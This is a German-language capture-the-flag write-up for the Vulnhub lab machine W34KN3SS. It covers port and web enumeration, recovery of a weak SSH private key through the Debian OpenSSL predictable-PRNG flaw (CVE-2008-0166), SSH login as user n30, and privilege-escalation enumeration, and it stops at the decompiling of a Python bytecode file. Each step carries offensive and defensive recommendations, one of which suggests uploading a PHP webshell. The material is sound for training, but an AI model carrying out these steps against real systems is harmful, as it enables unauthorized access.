W34KN3SS - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
curl
dirb
grep
cat
searchsploit
wget
mkdir
mv
tar
ssh
sudo
find
ls
unzip
cp
strings
Python Decompiler (extern)
awk
tr
su
id
pwd

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan wird ausgeführt, um Geräte im lokalen Netzwerk zu finden.
Bewertung: Identifiziert das Ziel `192.168.2.155` mit einer Oracle VirtualBox MAC-Adresse (`08:00:27:ec:87:82`).
Empfehlung (Offensiv): Ziel-IP notieren und für weitere Scans verwenden.
Empfehlung (Defensiv): Standardmäßige Netzwerküberwachung kann helfen, solche Scans zu erkennen.

 ARP-Scan
192.168.2.155	08:00:27:ec:87:82	PCS Systemtechnik GmbH
                     

Analyse: Die IP `192.168.2.155` wird dem Hostnamen `weakness.vln` in der `/etc/hosts`-Datei des Angreifers zugeordnet.
Bewertung: Vereinfacht die weitere Arbeit mit dem Ziel.
Empfehlung (Offensiv): Sinnvolles Vorgehen zur besseren Handhabung.
Empfehlung (Defensiv): Keine direkte Auswirkung auf das Ziel.

 /etc/hosts
 192.168.2.155   weakness.vln
                      

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) wird durchgeführt.
Bewertung: Der Scan findet drei offene Ports:

Die Apache-Version ist veraltet und potenziell anfällig. Der Hostname `weakness.jth` aus dem SSL-Zertifikat sollte beachtet werden.
Empfehlung (Offensiv): Den Webserver auf Port 80 und 443 untersuchen. Den Hostnamen `weakness.jth` zur `/etc/hosts`-Datei hinzufügen und prüfen, ob er auf Port 443 anders reagiert als die IP-Adresse. SSH als potenziellen Login-Vektor vormerken.
Empfehlung (Defensiv): Apache aktualisieren. Gültige SSL/TLS-Zertifikate verwenden. Nicht benötigte Ports schließen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 22:05 CET
Nmap scan report for weakness.vln (192.168.2.155)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 de:89:a2:de:45:e7:d6:3d:ef:e9:bd:b4:b6:68:ca:6d (RSA)
|   256 1d:98:4a:db:a2:e0:cc:68:38:93:d0:52:2a:1a:aa:96 (ECDSA)
|_  256 3d:8a:6b:92:0d:ba:37:82:9e:c3:27:18:b6:01:cd:98 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
| ssl-cert: Subject: commonName=weakness.jth/organizationName=weakness.jth/stateOrProvinceName=Jordan/countryName=jo
| Not valid before: 2018-05-05T11:12:54
|_Not valid after:  2019-05-05T11:12:54
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:EC:87:82 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms weakness.vln (192.168.2.155)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.09 seconds

Web Enumeration (HTTP/HTTPS)

Analyse: Ein Nikto-Scan wird gegen Port 80 ausgeführt.
Bewertung: Nikto findet die üblichen Probleme (fehlende Header, ETag-Leak, veraltete Apache-Version) und die Standarddatei `/icons/README`. Zusätzlich wird das Verzeichnis `/test/` als potenziell interessant markiert.
Empfehlung (Offensiv): Das Verzeichnis `/test/` untersuchen.
Empfehlung (Defensiv): Apache aktualisieren, Sicherheitsheader implementieren, Standarddateien entfernen/schützen.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.155
+ Target Hostname:    192.168.2.155
+ Target Port:        80
+ Start Time:         2024-12-29 22:06:35 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 56b7369530642, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /test/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2024-12-29 22:07:20 (GMT1) (45 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Gobuster wird für die Verzeichnissuche auf Port 80 eingesetzt.
Bewertung: Der Scan findet `index.html`, `/blog/` (Redirect), `/uploads/` (Redirect), `upload.php` und `/test/` (Redirect). Die Existenz einer `upload.php` und eines `/uploads`-Verzeichnisses ist bemerkenswert.
Empfehlung (Offensiv): Die `upload.php` auf Funktionalität und mögliche Schwachstellen (z.B. unrestricted file upload) prüfen. Das `/test/`-Verzeichnis besuchen. Das `/blog/`-Verzeichnis ebenfalls untersuchen.
Empfehlung (Defensiv): Upload-Funktionen sicher implementieren (Dateityp-Validierung, Größenbeschränkung, Speicherung außerhalb des Webroots, Umbenennung hochgeladener Dateien).

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x [...] -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.5
[...]
===============================================================
[+] Url:                     http://192.168.2.155
[...]
===============================================================
2024/12/29 22:08:01 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.155/index.html           (Status: 200) [Size: 10918]
http://192.168.2.155/blog                 (Status: 301) [Size: 313] [--> http://192.168.2.155/blog/]
http://192.168.2.155/uploads              (Status: 301) [Size: 316] [--> http://192.168.2.155/uploads/]
http://192.168.2.155/upload.php           (Status: 200) [Size: 216]
http://192.168.2.155/test                 (Status: 301) [Size: 313] [--> http://192.168.2.155/test/]
===============================================================
2024/12/29 22:09:55 Finished
===============================================

Analyse: Der Inhalt der `upload.php`-Seite wird angezeigt.
Bewertung: Zeigt ein einfaches Upload-Formular mit dem Namen "SecretFileUpload". Es gibt keine sichtbaren Hinweise auf Einschränkungen oder Sicherheitsmaßnahmen.
Empfehlung (Offensiv): Versuchen, verschiedene Dateitypen hochzuladen, insbesondere eine PHP-Webshell, um Codeausführung zu erreichen. Prüfen, wo die Dateien landen (wahrscheinlich `/uploads/`).
Empfehlung (Defensiv): Upload-Funktionalität serverseitig validieren (Dateityp, Größe, Inhalt). Dateien sicher speichern und Ausführung verhindern.

http://192.168.2.155/upload.php
N30 UPLOAD

 form method="POST" action="upload.php" name="SecretFileUpload" enctype="multipart/form-data" 
 input type="file" name="SecretFile" 
 input type="submit" value="Upload" 
 

Analyse: Der Quellcode der Seite im Verzeichnis `/test/` wird untersucht.
Bewertung: Enthält den Kommentar "it's all about keys :D" und ein Bild `keys2.jpg`. Dies verstärkt den Fokus auf Schlüssel, möglicherweise SSH-Schlüssel.
Empfehlung (Offensiv): Das Bild `keys2.jpg` herunterladen und auf versteckte Daten (Steganographie, Metadaten) prüfen. Den Hinweis im Zusammenhang mit dem Hostnamen `weakness.jth` aus dem SSL-Zertifikat betrachten.
Empfehlung (Defensiv): Keine Hinweise in Kommentaren oder Bildern hinterlassen.

view-source:http://192.168.2.155/test/
< -- it's all about keys :D -->
 img src="keys2.jpg" 

Analyse: Der Text erwähnt einen Base64-String `V0UgSlVTVCBURVNUIFRISVMgU0NSSVBUV0UgSlVTVCBURVNUIFRISVMgU0NSSVBUIEFHQUlIDpE` und dessen Dekodierung zu `WE JUST TEST THIS SCRIPTWE JUST TEST THIS SCRIPT AGAIN :D`. Der Bezug ist unklar, möglicherweise aus einer anderen Datei oder einem Header.
Bewertung: Dieser String scheint für den weiteren Verlauf irrelevant zu sein, möglicherweise eine Sackgasse oder ein Überbleibsel.
Empfehlung (Offensiv): Ignorieren, wenn kein klarer Bezug hergestellt werden kann.

V0UgSlVTVCBURVNUIFRISVMgU0NSSVBUV0UgSlVTVCBURVNUIFRISVMgU0NSSVBUIEFHQUlIDpE
WE JUST TEST THIS SCRIPTWE JUST TEST THIS SCRIPT AGAIN :D

Analyse: Der Hostname `weakness.jth` (aus dem SSL-Zertifikat) wird zur `/etc/hosts`-Datei hinzugefügt.
Bewertung: Notwendiger Schritt, um die Webseite unter diesem Namen aufzurufen, falls der Webserver Virtual Hosts verwendet.
Empfehlung (Offensiv): Immer Hostnamen aus Zertifikaten oder anderen Quellen zur Hosts-Datei hinzufügen und testen.

┌──(root㉿CCat)-[~]
└─# grep weak /etc/hosts
192.168.2.155   weakness.vln weakness.jth

Analyse: Die Webseite wird unter `http://weakness.jth` aufgerufen (Port 80).
Bewertung: Es wird eine andere Seite angezeigt als unter der IP-Adresse. Sie enthält eine ASCII-Art eines Kaninchens und den Text "keep following the white rabbit :D". Dies bestätigt die Verwendung von Virtual Hosts und liefert einen neuen Hinweis.
Empfehlung (Offensiv): Die Webseite unter `weakness.jth` weiter untersuchen, insbesondere auf versteckte Verzeichnisse (`dirb`, `gobuster`).
Empfehlung (Defensiv): Sicherstellen, dass Virtual Host Konfigurationen keine unbeabsichtigten Inhalte oder Hinweise preisgeben.

http://weakness.jth

keep following the white rabbit :D

         ,
            /|      __
           / |   ,-~ /
          Y :|  //  /
          | jj /( .^
          >-"~"-v"
         /       Y
        jo  o    |
       ( ~T~     j
        >._-' _./
       /   "~"  |
      Y     _,  |
     /| ;-"~ _  l
    / l/ ,-"~    \
    \//\/      .- \
     Y        /    Y    -n30
     l       I     !
     ]\      _\    /"\
    (" ~-( ~   Y.  )

Analyse: `dirb` wird verwendet, um Verzeichnisse auf `http://weakness.jth/` zu finden.
Bewertung: `dirb` findet das Verzeichnis `/private/`. Unterverzeichnisse `/private/assets/` und `/private/files/` sind ebenfalls vorhanden und als "LISTABLE" markiert.
Empfehlung (Offensiv): Die listbaren Verzeichnisse `/private/assets/` und insbesondere `/private/files/` im Browser aufrufen und deren Inhalt untersuchen.
Empfehlung (Defensiv): Directory Listing deaktivieren (`Options -Indexes`), besonders für Verzeichnisse mit potenziell sensiblen Inhalten.

┌──(root㉿CCat)-[~]
└─# dirb http://weakness.jth/
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Dec 29 22:30:24 2024
URL_BASE: http://weakness.jth/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://weakness.jth/ ----
+ http://weakness.jth/index.html (CODE:200|SIZE:526)
+ http://weakness.jth/private/ (CODE:200|SIZE:989)                     ==> DIRECTORY
+ http://weakness.jth/robots.txt (CODE:200|SIZE:14)
+ http://weakness.jth/server-status (CODE:403|SIZE:300)

---- Entering directory: http://weakness.jth/private/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Sun Dec 29 22:30:26 2024
DOWNLOADED: 9224 - FOUND: 4

Credential Discovery (Weak SSH Key)

Analyse: Der Inhalt von `robots.txt` und die Dateiliste im Verzeichnis `/private/` (das über den Browser aufgerufen wurde) werden gezeigt.
Bewertung: `robots.txt` ist nicht hilfreich ("Forget it !!"). Im Verzeichnis `/private/files/` (das aus `/private/` verlinkt ist) befinden sich zwei Dateien: `mykey.pub` und `notes.txt`.
Empfehlung (Offensiv): Beide Dateien herunterladen und analysieren.
Empfehlung (Defensiv): Sensible Dateien nicht in web-zugänglichen Verzeichnissen ablegen, auch wenn sie "private" heißen.

http://weakness.jth/robots.txt
Forget it !!

http://weakness.jth/private/

files

    mykey.pub 400 Bytes
    notes.txt 43 Bytes

Cute File Browser with jQuery, AJAX and PHP

Analyse: Der Inhalt der Datei `notes.txt` wird angezeigt.
Bewertung: Enthält den kritischen Hinweis: "this key was generated by openssl 0.9.8c-1". Dies bezieht sich auf die Datei `mykey.pub` und weist auf die Debian OpenSSL Predictable PRNG Schwachstelle (CVE-2008-0166) hin.
Empfehlung (Offensiv): Die Datei `mykey.pub` herunterladen. Den öffentlichen Schlüssel verwenden, um den dazugehörigen schwachen privaten Schlüssel aus einer bekannten Sammlung (z.B. von HD Moore/Metasploit oder g0tmi1k) zu identifizieren.
Empfehlung (Defensiv): Sicherstellen, dass keine Systeme mehr mit den durch CVE-2008-0166 kompromittierten OpenSSL-Versionen laufen oder damit generierte Schlüssel verwenden. Alle potenziell schwachen Schlüssel ersetzen.

http://weakness.jth/private/files/notes.txt

this key was generated by openssl 0.9.8c-1


mykey.pub

Analyse: Der Inhalt der heruntergeladenen Datei `mykey.pub` wird angezeigt.
Bewertung: Dies ist der öffentliche SSH-Schlüssel (RSA, 2048 Bit), der auf dem verwundbaren Debian-System generiert wurde.
Empfehlung (Offensiv): Diesen öffentlichen Schlüssel verwenden, um den passenden privaten Schlüssel in der Sammlung schwacher Schlüssel zu finden.

┌──(root㉿CCat)-[~]
└─# cat /home/ccat/Downloads/mykey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu00QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw root@targetcluster

Analyse: `searchsploit` wird verwendet, um nach Exploits für "openssl 0.9.8c-1" zu suchen.
Bewertung: Findet mehrere Einträge, die sich auf die Debian Predictable PRNG Schwachstelle (CVE-2008-0166) beziehen, inklusive eines Info-Textes (5622.txt) und Ruby/Python-Skripten.
Empfehlung (Offensiv): Den Info-Text (5622.txt) lesen, um das Vorgehen zu verstehen.

┌──(root㉿CCat)-[~]
└─# searchsploit openssl 0.9.8c-1
--------------------------------------------------------- ---------------------------------
 Exploit Title                                           |  Path
--------------------------------------------------------- ---------------------------------
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Pr | linux/remote/5622.txt
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Pr | linux/remote/5632.rb
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Pr | linux/remote/5720.py
--------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Analyse: Der Info-Exploit 5622.txt wird kopiert und sein Inhalt angezeigt.
Bewertung: Der Text erklärt die Schwachstelle (nur PID als Entropiequelle bei der Schlüsselgenerierung führt zu nur 65536 möglichen Schlüsseln) und verweist auf die Sammlung der vorkalkulierten schwachen Schlüssel, die von HD Moore bereitgestellt wurde (Mirror auf GitHub/GitLab). Es wird erklärt, wie man die Sammlung herunterlädt, entpackt und den öffentlichen Schlüssel des Ziels darin sucht, um den zugehörigen privaten Schlüssel zu finden.
Empfehlung (Offensiv): Den Anweisungen folgen: Schlüsselarchiv herunterladen, entpacken und nach dem öffentlichen Schlüssel (`mykey.pub`) greppen.

┌──(root㉿CCat)-[~]
└─# searchsploit -m linux/remote/5622.txt
  Exploit: OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH
      URL: https://www.exploit-db.com/exploits/5622
     Path: /usr/share/exploitdb/exploits/linux/remote/5622.txt
    Codes: CVE-2008-0166
 Verified: True
File Type: ASCII text
Copied to: /root/5622.txt
┌──(root㉿CCat)-[~]
└─# cat /root/5622.txt
the debian openssl issue leads that there are only 65.536 possible ssh
keys generated, cause the only entropy is the pid of the process
generating the key.

This leads to that the following perl script can be used with the
precalculated ssh keys to brute force the ssh login. It works if such a
keys is installed on a non-patched debian or any other system manual
configured to.

On an unpatched system, which doesn't need to be debian, do the following:

keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/
*E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh*

1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
           https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
Bits, generated on an upatched debian (this is the key this exploit will
break)

4. Run the perl script and give it the location to where you extracted
the bzip2 mentioned.
[...]
5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,
Markus Mueller
mm@deadbeef.de

# milw0rm.com [2008-05-15]

Analyse: Das Schlüsselarchiv (`5622.tar.bz2`) wird vom GitLab-Mirror heruntergeladen, ein Verzeichnis `weakness` erstellt, das Archiv dorthin verschoben und entpackt.
Bewertung: Die notwendigen Schritte zur Vorbereitung der Schlüsselsuche werden durchgeführt. Das Entpacken erzeugt eine große Anzahl von Schlüsseldateien.

┌──(root㉿CCat)-[~]
└─# wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
--2024-12-29 22:36:16--  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
Resolving gitlab.com (gitlab.com)... [...] connected.
HTTP request sent, awaiting response... 200 OK
Length: 50226987 (48M) [application/octet-stream]
Saving to: ‘5622.tar.bz2’

5622.tar.bz2            100%[==============================>]  47.90M  22.7MB/s    in 2.1s

2024-12-29 22:36:19 (22.7 MB/s) - ‘5622.tar.bz2’ saved [50226987/50226987]
┌──(root㉿CCat)-[~]
└─# mkdir weakness
┌──(root㉿CCat)-[~]
└─# mv 5622.tar.bz2 weakness
┌──(root㉿CCat)-[~]
└─# cd weakness
┌──(root㉿CCat)-[~/weakness]
└─# tar -xvf 5622.tar.bz2
rsa/
rsa/2048/
rsa/2048/2712a6d5cec99f295a0c468b830a370d-28940.pub
rsa/2048/eaddc9bba9bf3c0832f443706903cd14-28712.pub
[...]

Analyse: Mit `grep` wird rekursiv (`-r`) in den entpackten Schlüsseln nach dem exakten String des öffentlichen Schlüssels aus `mykey.pub` gesucht. Nur der Dateiname (`-l`) des Treffers wird ausgegeben.
Bewertung: Der Befehl findet den passenden öffentlichen Schlüssel in der Datei `rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub`. Der dazugehörige private Schlüssel befindet sich im selben Verzeichnis und hat den gleichen Namen ohne `.pub`-Endung: `rsa/2048/4161de56829de2fe64b9055711f531c1-2537`.
Empfehlung (Offensiv): Den gefundenen privaten Schlüssel (`rsa/2048/4161d...-2537`) verwenden, um sich per SSH anzumelden. Es muss noch der passende Benutzername ermittelt werden (möglicherweise `root` laut Kommentar im Pubkey, oder ein anderer User wie `n30` aus den Webseiten-Hinweisen).

┌──(root㉿CCat)-[~/weakness]
└─# grep -r -l "AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu00QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw" .
./rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub
┌──(root㉿CCat)-[~/weakness]
└─# cat rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu00QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw root@targetcluster

Initial Access (SSH via Weak Key)

Analyse: Es wird versucht, sich per SSH mit dem gefundenen schwachen privaten Schlüssel (`-i 4161...-2537`) als Benutzer `n30` (vermutlich abgeleitet von den Hinweisen auf der Webseite) auf dem Zielsystem anzumelden.
Bewertung: Der Login ist erfolgreich! Es wird keine Passwortabfrage benötigt, da die Schlüsselauthentifizierung funktioniert. Der Angreifer erhält eine Shell als Benutzer `n30`.
Ergebnis: Erfolgreicher Initial Access durch Ausnutzung der Debian OpenSSL Weak Key Schwachstelle (CVE-2008-0166).
Empfehlung (Offensiv): Das System als Benutzer `n30` enumerieren, insbesondere nach Möglichkeiten zur Privilegieneskalation suchen (`sudo -l`, SUID-Dateien etc.).
Empfehlung (Defensiv): Alle schwachen SSH-Schlüssel auf dem System identifizieren und ersetzen. Sicherstellen, dass keine Systeme mehr verwundbare OpenSSL-Versionen verwenden. Den betroffenen öffentlichen Schlüssel aus `authorized_keys`-Dateien entfernen.

┌──(root㉿CCat)-[~/weakness/rsa/2048]
└─# ssh -i 4161de56829de2fe64b9055711f531c1-2537 n30@192.168.2.155
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Last login: Tue Aug 14 13:29:20 2018 from 192.168.209.1
n30@W34KN3SS$

Privilege Escalation (Enumeration)

Analyse: Als Benutzer `n30` wird `sudo -l` ausgeführt.
Bewertung: Der Befehl fordert das Passwort für `n30` an. Dieses ist aktuell nicht bekannt. `sudo` ist somit kein direkter Vektor.
Empfehlung (Offensiv): Nach anderen Wegen suchen oder versuchen, das Passwort für `n30` zu finden.
Empfehlung (Defensiv): Sicherstellen, dass `sudo` ein Passwort erfordert (Standard).

n30@W34KN3SS$ sudo -l
[sudo] password for n30:

Analyse: Die Home-Verzeichnisse werden aufgelistet. Es gibt nur das Verzeichnis für den Benutzer `n30`.
Bewertung: Keine weiteren Benutzer-Home-Verzeichnisse als potenzielle Informationsquellen.

n30@W34KN3SS$ ls -la ..
total 12
drwxr-xr-x  3 root root 4096 May  5  2018 .
drwxr-xr-x 22 root root 4096 May  5  2018 ..
drwxr-xr-x  5 n30  n30  4096 Aug 14  2018 n30

Analyse: SUID-Binaries werden gesucht.
Bewertung: Die Liste enthält Standard-Binaries (`su`, `mount`, `ping`, `passwd`, `sudo`, `ntfs-3g` etc.). Nichts deutet auf eine einfache benutzerdefinierte Schwachstelle hin. `pkexec` ist nicht vorhanden.
Empfehlung (Offensiv): Standard-Binaries auf bekannte Lücken für die spezifische OS-Version (Ubuntu 18.04) prüfen. Andere Vektoren untersuchen.
Empfehlung (Defensiv): Unnötige SUID-Bits entfernen. System aktuell halten.

n30@W34KN3SS$ find / -type f -perm -4000 -ls 2>/dev/null
   398107     44 -rwsr-xr--   1 root     messagebus    42992 Nov 16  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   398247     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   408001    428 -rwsr-xr-x   1 root     root         436552 Feb 10  2018 /usr/lib/openssh/ssh-keysign
   394789     76 -rwsr-xr-x   1 root     root          75824 Jan 25  2018 /usr/bin/gpasswd
   394785     44 -rwsr-xr-x   1 root     root          44528 Jan 25  2018 /usr/bin/chsh
   394790     60 -rwsr-xr-x   1 root     root          59640 Jan 25  2018 /usr/bin/passwd
   399262    148 -rwsr-xr-x   1 root     root         149080 Jan 18  2018 /usr/bin/sudo
   394782     76 -rwsr-xr-x   1 root     root          76496 Jan 25  2018 /usr/bin/chfn
   394570     40 -rwsr-xr-x   1 root     root          40344 Jan 25  2018 /usr/bin/newgrp
   407666     20 -rwsr-xr-x   1 root     root          18448 Mar 10  2017 /usr/bin/traceroute6.iputils
   268619     32 -rwsr-xr-x   1 root     root          30800 Aug 11  2016 /bin/fusermount
   262313     44 -rwsr-xr-x   1 root     root          44664 Jan 25  2018 /bin/su
   262317     44 -rwsr-xr-x   1 root     root          43088 Mar 16  2018 /bin/mount
   262806     64 -rwsr-xr-x   1 root     root          64424 Mar 10  2017 /bin/ping
   262318     28 -rwsr-xr-x   1 root     root          26696 Mar 16  2018 /bin/umount
   268624    144 -rwsr-xr-x   1 root     root         146128 Nov 30  2017 /bin/ntfs-3g

Analyse: Das Home-Verzeichnis von `n30` wird aufgelistet. Die User-Flag `user.txt` und eine interessante Datei `code` werden gefunden. Die Bash-History ist leer.
Bewertung: Die User-Flag wird direkt gelesen. Die Datei `code` ist das wichtigste Element hier.
Empfehlung (Offensiv): Die Datei `code` analysieren.

n30@W34KN3SS$ ls -la
total 44
drwxr-xr-x 5 n30  n30  4096 Aug 14  2018 .
drwxr-xr-x 3 root root 4096 May  5  2018 ..
-rw------- 1 n30  n30    25 Aug 14  2018 .bash_history
-rw-r--r-- 1 n30  n30   220 May  5  2018 .bash_logout
-rw-r--r-- 1 n30  n30  3771 May  5  2018 .bashrc
drwx------ 2 n30  n30  4096 May  5  2018 .cache
-rwxrwxr-x 1 n30  n30  1138 May  8  2018 code
drwxrwxr-x 3 n30  n30  4096 May  5  2018 .local
-rw-r--r-- 1 n30  n30   818 May  7  2018 .profile
drwxrwxr-x 2 n30  n30  4096 May  5  2018 .ssh
-rw-r--r-- 1 n30  n30     0 May  5  2018 .sudo_as_admin_successful
-rw-rw-r-- 1 n30  n30    33 May  8  2018 user.txt
n30@W34KN3SS$ cat user.txt
25e3cd678875b601425c9356c8039f68
n30@W34KN3SS$ cat .bash_history
nano .bash_history
exit

Analyse: Der Benutzer `n30` versucht, eine ZIP-Datei aus dem Web-Verzeichnis zu entpacken.
Bewertung: Dies scheint irrelevant für den aktuellen Pfad zur Privilegieneskalation zu sein, möglicherweise ein Überbleibsel aus der Untersuchung des `private`-Verzeichnisses.

n30@W34KN3SS$ unzip /var/www/weakness/private/cute-file-browser.zip
Archive:  /var/www/weakness/private/cute-file-browser.zip
   creating: assets/
   creating: assets/css/
  inflating: assets/css/styles.css
   creating: assets/js/
  inflating: assets/js/script.js
   creating: files/
 extracting: files/place your files here
  inflating: index.html
  inflating: scan.php

Analyse: Das Verzeichnis `/opt` wird untersucht, es enthält ein Element `generator`. Die Datei `code` aus dem Home-Verzeichnis wird in das Webroot `/var/www/html` kopiert.
Bewertung: Das Kopieren dient dazu, die Datei `code` einfach mit `wget` vom Angreifer-System herunterladen zu können.
Empfehlung (Offensiv): Die Datei `code` herunterladen und analysieren.

n30@W34KN3SS$ cd /opt/
n30@W34KN3SS:/opt$ ls
generator
n30@W34KN3SS:/opt$ cp /home/n30/code /var/www/html/

Analyse: Die Datei `code` wird vom Webserver heruntergeladen. `strings` wird darauf angewendet, was Python-spezifische Strings offenbart. Die Datei wird zu `code.pyc` umbenannt.
Bewertung: Bestätigt, dass `code` eine kompilierte Python-Datei (`.pyc`) ist.
Empfehlung (Offensiv): Einen Python-Bytecode-Decompiler verwenden (z.B. `uncompyle6` oder Online-Tools), um den ursprünglichen Quellcode wiederherzustellen.

┌──(root㉿CCat)-[~]
└─# wget http://192.168.2.155/code
--2024-12-29 22:53:23--  http://192.168.2.155/code
Connecting to 192.168.2.155:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1138 (1.1K)
Saving to: ‘code’

code                    100%[===============================>]   1.11K  --.-KB/s    in 0s

2024-12-29 22:53:23 (159 MB/s) - ‘code’ saved [1138/1138]
┌──(root㉿CCat)-[~]
└─# strings code
[...]
[+]System Started at : {0}sG
[+]This binary should generate unique hash for the hardcoded login infos
[+]Generating the hash ..t
[+]Your new hash is : {0}s
[+]Done(
sockett
timet
hashlibt
formatt
ctimet
inft
chrt
ordt
sha256t
hexdigestt
hashf(
code.pyt

[...]
┌──(root㉿CCat)-[~]
└─# mv code code.pyc

Analyse: Der `.pyc`-Code wird mit einem Online-Decompiler (toolnb.com) oder `uncompyle6` dekompiliert. Der wiederhergestellte Python-Code wird angezeigt.
